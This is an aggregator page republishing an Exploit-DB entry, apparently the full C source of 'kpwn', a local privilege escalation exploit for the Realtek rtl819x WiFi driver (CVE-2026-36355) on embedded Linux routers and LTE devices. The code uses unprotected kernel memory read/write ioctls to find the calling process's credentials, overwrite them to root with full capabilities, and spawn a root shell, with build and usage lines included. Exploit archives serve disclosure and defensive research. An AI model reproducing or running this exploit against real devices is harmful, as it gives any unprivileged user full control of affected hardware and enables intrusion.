惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Cyberwarzone
Cyberwarzone
V
Vulnerabilities – Threatpost
T
Tenable Blog
Forbes - Security
Forbes - Security
Simon Willison's Weblog
Simon Willison's Weblog
AWS News Blog
AWS News Blog
G
GRAHAM CLULEY
Know Your Adversary
Know Your Adversary
S
Securelist
C
Cybersecurity and Infrastructure Security Agency CISA
Project Zero
Project Zero
C
CXSECURITY Database RSS Feed - CXSecurity.com
V
Visual Studio Blog
WordPress大学
WordPress大学
Latest news
Latest news
K
Kaspersky official blog
T
Tailwind CSS Blog
T
Threat Research - Cisco Blogs
B
Blog RSS Feed
C
Cisco Blogs
博客园 - 聂微东
Martin Fowler
Martin Fowler
T
The Blog of Author Tim Ferriss
小众软件
小众软件
L
LangChain Blog
阮一峰的网络日志
阮一峰的网络日志
L
LINUX DO - 热门话题
Stack Overflow Blog
Stack Overflow Blog
罗磊的独立博客
P
Proofpoint News Feed
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
P
Privacy International News Feed
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
C
CERT Recently Published Vulnerability Notes
Cisco Talos Blog
Cisco Talos Blog
S
SegmentFault 最新的问题
Security Latest
Security Latest
Y
Y Combinator Blog
爱范儿
爱范儿
aimingoo的专栏
aimingoo的专栏
P
Privacy & Cybersecurity Law Blog
L
LINUX DO - 最新话题
月光博客
月光博客
The GitHub Blog
The GitHub Blog
博客园 - 三生石上(FineUI控件)
S
Security Affairs
P
Proofpoint News Feed
D
DataBreaches.Net
有赞技术团队
有赞技术团队
云风的 BLOG
云风的 BLOG

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
Daniil Gordeev · 2026-05-27 · via Exploit-DB.com RSS Feed

Realtek rtl819x - Local Privilege

Platform:

Linux

Date:

2026-05-27



 * Exploit Title: Realtek rtl819x  - Local Privilege Escalation 
 * Date: 2026-05-03
 * Exploit Author: Daniil Gordeev
 * Vendor Homepage: http://www.realtek.com
 * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release)
 * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B
 * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE)
 * CVE: CVE-2026-36355
 *
 * kpwn - RTL8192CD kernel LPE exploit
 *
 * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem)
 * in the Realtek rtl819x out-of-tree WiFi driver SDK.
 *
 * Runs as ANY unprivileged user — no root needed at any stage.
 * Auto-detects task_struct offsets from init_task.
 *
 * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK
 * Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc.
 *
 * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c
 * Usage: /tmp/kpwn  (any user, GID 3003/inet on paranoid kernels)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/wireless.h>

#define IOCTL_WRITE  0x89F5   /* SIOCDEVPRIVATE+5: write_mem */
#define IOCTL_READ   0x89F6   /* SIOCDEVPRIVATE+6: read_mem  */

/* kernel .data scan range for init_task (ARM, no KASLR) */
#define DATA_SCAN_START  0xC0800000
#define DATA_SCAN_END    0xC1000000

static int sockfd = -1;
static int nioctls = 0;
static char ifname[IFNAMSIZ];

/* ---- kernel R/W primitives ---- */

static int kread(unsigned long addr, void *out, int ndw)
{
    struct iwreq wrq;
    char buf[256];

    if (ndw > 32) ndw = 32;
    snprintf(buf, sizeof(buf), "dw,%lx,%x", addr, ndw);

    memset(&wrq, 0, sizeof(wrq));
    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
    wrq.u.data.pointer = buf;
    wrq.u.data.length = strlen(buf) + 1;

    if (ioctl(sockfd, IOCTL_READ, &wrq) < 0)
        return -1;

    nioctls++;
    int n = wrq.u.data.length;
    if (n > 0 && out)
        memcpy(out, buf, n > 128 ? 128 : n);
    return n;
}

static unsigned int kread32(unsigned long addr)
{
    unsigned int v = 0;
    kread(addr, &v, 1);
    return v;
}

static int kfill(unsigned long addr, int ndw, unsigned int val)
{
    struct iwreq wrq;
    char buf[256];

    snprintf(buf, sizeof(buf), "dw,%lx,%x,%x", addr, ndw, val);

    memset(&wrq, 0, sizeof(wrq));
    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
    wrq.u.data.pointer = buf;
    wrq.u.data.length = strlen(buf) + 1;

    if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0)
        return -1;

    nioctls++;
    return 0;
}

/* ---- find vulnerable interface ---- */

static int find_interface(void)
{
    DIR *d = opendir("/sys/class/net");
    if (!d) return -1;

    struct dirent *e;
    unsigned int probe;
    while ((e = readdir(d))) {
        if (e->d_name[0] == '.' || strcmp(e->d_name, "lo") == 0)
            continue;
        strncpy(ifname, e->d_name, IFNAMSIZ - 1);
        probe = 0;
        if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) {
            closedir(d);
            return 0;
        }
    }
    closedir(d);
    return -1;
}

/* ---- resolve init_task ---- */

static unsigned long scan_for_init_task(void)
{
    /*
     * Brute-force: scan kernel .data for init_task.comm = "swapper".
     * Validate by checking cred pointer (must dereference to uid=0, gid=0).
     *
     * The returned base doesn't need to be exact — detect_offsets finds
     * all field positions relative to the base, and the math in find_task
     * and the overwrite phase uses (base + offset) pairs where any constant
     * shift cancels out. We just need "swapper" to land within the
     * detect_offsets search window (0x200-0x5F0 from returned base).
     */
    unsigned char buf[128];
    unsigned long addr;

    printf("[*] Scanning .data for init_task...\n");

    for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) {
        if (kread(addr, buf, 32) <= 0)
            continue;

        int j;
        for (j = 0; j <= 128 - 7; j += 4) {
            if (memcmp(buf + j, "swapper", 7) != 0)
                continue;

            unsigned long comm_addr = addr + j;

            /* validate: cred pointer just before comm → {usage, uid=0, gid=0} */
            unsigned int cred_ptr;
            if (kread(comm_addr - 4, &cred_ptr, 1) <= 0)
                continue;
            if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF)
                continue;

            unsigned int chk[3];
            if (kread(cred_ptr, chk, 3) <= 0)
                continue;
            if (chk[0] < 1 || chk[0] >= 10000)  /* usage refcount */
                continue;
            if (chk[1] != 0 || chk[2] != 0)      /* uid=0, gid=0 */
                continue;

            /*
             * Return comm_addr - 0x400 as base. This places comm at
             * offset 0x400 in the detect_offsets window (well within
             * the 0x200-0x5F0 search range). The base doesn't need
             * to be the true struct start — all offset math cancels.
             */
            unsigned long base = comm_addr - 0x400;
            printf("[+] scan: comm @ 0x%08lx, base 0x%08lx\n", comm_addr, base);
            return base;
        }
    }
    return 0;
}

static unsigned long resolve_init_task(void)
{
    return scan_for_init_task();
}

/* ---- auto-detect task_struct layout ---- */

struct offsets { unsigned long tasks, pid, cred, comm; };

static int detect_offsets(unsigned long init, struct offsets *o)
{
    unsigned char data[0x600];
    int i;

    /* bulk-read init_task (12 reads, 128 bytes each) */
    for (i = 0; i < 0x600; i += 128)
        if (kread(init + i, data + i, 32) <= 0) {
            printf("[-] Read init_task+0x%x failed\n", i);
            return -1;
        }

    /* comm: find "swapper" string — unique, most reliable anchor */
    o->comm = 0;
    for (i = 0x200; i < 0x5F0; i += 4)
        if (memcmp(data + i, "swapper", 7) == 0) { o->comm = i; break; }
    if (!o->comm) {
        printf("[-] 'swapper' not found in init_task\n");
        return -1;
    }

    /* cred: kernel pointer just before comm → dereferences to {usage, uid=0, gid=0} */
    o->cred = 0;
    for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) {
        unsigned int val = *(unsigned int *)(data + i);
        if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) {
            unsigned int chk[3];
            if (kread(val, chk, 3) > 0 &&
                chk[0] >= 1 && chk[0] < 10000 &&
                chk[1] == 0 && chk[2] == 0) {
                o->cred = i;
                break;
            }
        }
    }
    if (!o->cred) {
        printf("[-] Cred pointer not found near comm\n");
        return -1;
    }

    /* tasks: non-self-referencing list_head with valid chain and printable comm at next */
    o->tasks = 0;
    for (i = 0x100; i < 0x300; i += 4) {
        unsigned int next = *(unsigned int *)(data + i);
        unsigned int prev = *(unsigned int *)(data + i + 4);
        if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue;
        if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue;
        if (next == (unsigned int)(init + i)) continue;

        unsigned int nn = kread32(next);
        if ((nn & 0xC0000000) != 0xC0000000) continue;

        unsigned long next_base = (unsigned long)next - i;
        char tc[8] = {0};
        if (kread(next_base + o->comm, tc, 2) > 0 &&
            tc[0] >= 0x20 && tc[0] < 0x7F) {
            o->tasks = i;
            break;
        }
    }
    if (!o->tasks) {
        printf("[-] Tasks list_head not found\n");
        return -1;
    }

    /* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */
    o->pid = 0;
    unsigned int tasks_next = *(unsigned int *)(data + o->tasks);
    unsigned long first_base = (unsigned long)tasks_next - o->tasks;
    unsigned int second_ptr = kread32(tasks_next);
    unsigned long second_base = (unsigned long)second_ptr - o->tasks;

    for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) {
        if (*(unsigned int *)(data + i) != 0) continue;
        if (*(unsigned int *)(data + i + 4) != 0) continue;   /* pid=0 AND tgid=0 */
        unsigned int p1 = kread32(first_base + i);
        if (p1 == 0 || p1 >= 32768) continue;
        unsigned int p2 = kread32(second_base + i);
        if (p2 == 0 || p2 >= 32768) continue;
        if (p1 == p2) continue;
        o->pid = i;
        break;
    }
    if (!o->pid) {
        printf("[-] PID offset not found\n");
        return -1;
    }

    return 0;
}

/* ---- walk task list backward (newest first, 1 ioctl per task) ---- */

static unsigned long find_task(unsigned long init, struct offsets *o,
                               pid_t pid, int *walked)
{
    unsigned long head = init + o->tasks;
    unsigned int buf[32];
    unsigned long cur;
    int batch = 0;
    int span = 0;
    *walked = 0;

    /* if pid and tasks fit in one 32-dword read, batch them */
    if (o->pid > o->tasks) {
        span = (o->pid - o->tasks) / 4 + 1;
        if (span <= 32) batch = 1;
    }

    /* walk backward: tasks.prev (offset +4) points to newest task */
    cur = kread32(head + 4);

    for (int i = 0; i < 512; i++) {
        if (cur == head || cur == 0)
            break;

        unsigned long base = cur - o->tasks;
        unsigned int p;
        unsigned long prev;

        if (batch) {
            /* single read gets tasks.next, tasks.prev, and pid */
            if (kread(cur, buf, span) <= 0) break;
            prev = buf[1];    /* tasks.prev = next older task */
            p = buf[(o->pid - o->tasks) / 4];
        } else {
            /* fallback: two individual reads */
            p = kread32(base + o->pid);
            prev = kread32(cur + 4);
        }

        (*walked)++;
        if (p == (unsigned int)pid)
            return base;
        cur = prev;
    }
    return 0;
}

/* ---- main ---- */

int main(void)
{
    uid_t orig_uid = getuid();
    gid_t orig_gid = getgid();
    pid_t pid = getpid();

    printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n");
    printf("uid=%u gid=%u pid=%d\n\n", orig_uid, orig_gid, pid);

    /* socket */
    printf("[*] Creating socket...\n");
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        if (errno == EACCES)
            printf("[-] Need GID 3003 (inet) on paranoid kernels\n");
        return 1;
    }

    /* find vulnerable interface */
    printf("[*] Scanning interfaces...\n");
    if (find_interface() < 0) {
        printf("[-] No rtl819x interface found\n");
        return 1;
    }
    printf("[+] %s — read primitive confirmed\n", ifname);

    /* resolve init_task */
    printf("[*] Resolving init_task...\n");
    unsigned long init = resolve_init_task();
    if (!init) {
        printf("[-] init_task not found\n");
        return 1;
    }
    printf("[+] init_task @ 0x%08lx\n", init);

    /* auto-detect offsets */
    printf("[*] Detecting task_struct layout...\n");
    struct offsets o;
    if (detect_offsets(init, &o) < 0)
        return 1;
    printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n",
           o.comm, o.cred, o.tasks, o.pid);

    /* find our task_struct */
    printf("[*] Searching for pid %d...\n", pid);
    int walked = 0;
    unsigned long task = find_task(init, &o, pid, &walked);
    if (!task) {
        printf("[-] pid %d not found (%d tasks walked)\n", pid, walked);
        return 1;
    }

    /* read and verify cred (batched: cred+comm in one read, uid+gid in one read) */
    unsigned int info[5];
    char *comm;
    unsigned long cred;
    unsigned int k_uid, k_gid;

    kread(task + o.cred, info, 5);    /* cred ptr + 16 bytes of comm */
    cred = info[0];
    comm = (char *)&info[1];

    unsigned int uids[2];
    kread(cred + 0x04, uids, 2);     /* uid + gid */
    k_uid = uids[0];
    k_gid = uids[1];

    printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n", task, comm, walked);
    printf("[+] cred=0x%08lx uid=%u gid=%u\n", cred, k_uid, k_gid);

    if (k_uid != orig_uid) {
        printf("[-] uid mismatch: kernel=%u userspace=%u\n", k_uid, orig_uid);
        return 1;
    }

    /* overwrite cred -> root (2 ioctls: zero uids + fill all caps) */
    printf("[*] Overwriting credentials...\n");
    kfill(cred + 0x04, 9, 0);                 /* uid..fsgid + securebits = 0 */
    kfill(cred + 0x28, 8, 0xFFFFFFFF);        /* cap_{inheritable,permitted,effective,bset} = full */

    if (getuid() != 0) {
        printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n", getuid());
        return 1;
    }

    printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n",
           getuid(), geteuid(), getgid(), getegid());
    printf("*** GOT ROOT *** uid=%u -> %d (%d ioctls)\n\n", orig_uid, getuid(), nioctls);

    execl("/bin/sh", "sh", NULL);
    printf("[-] execl: %s\n", strerror(errno));
    return 1;
}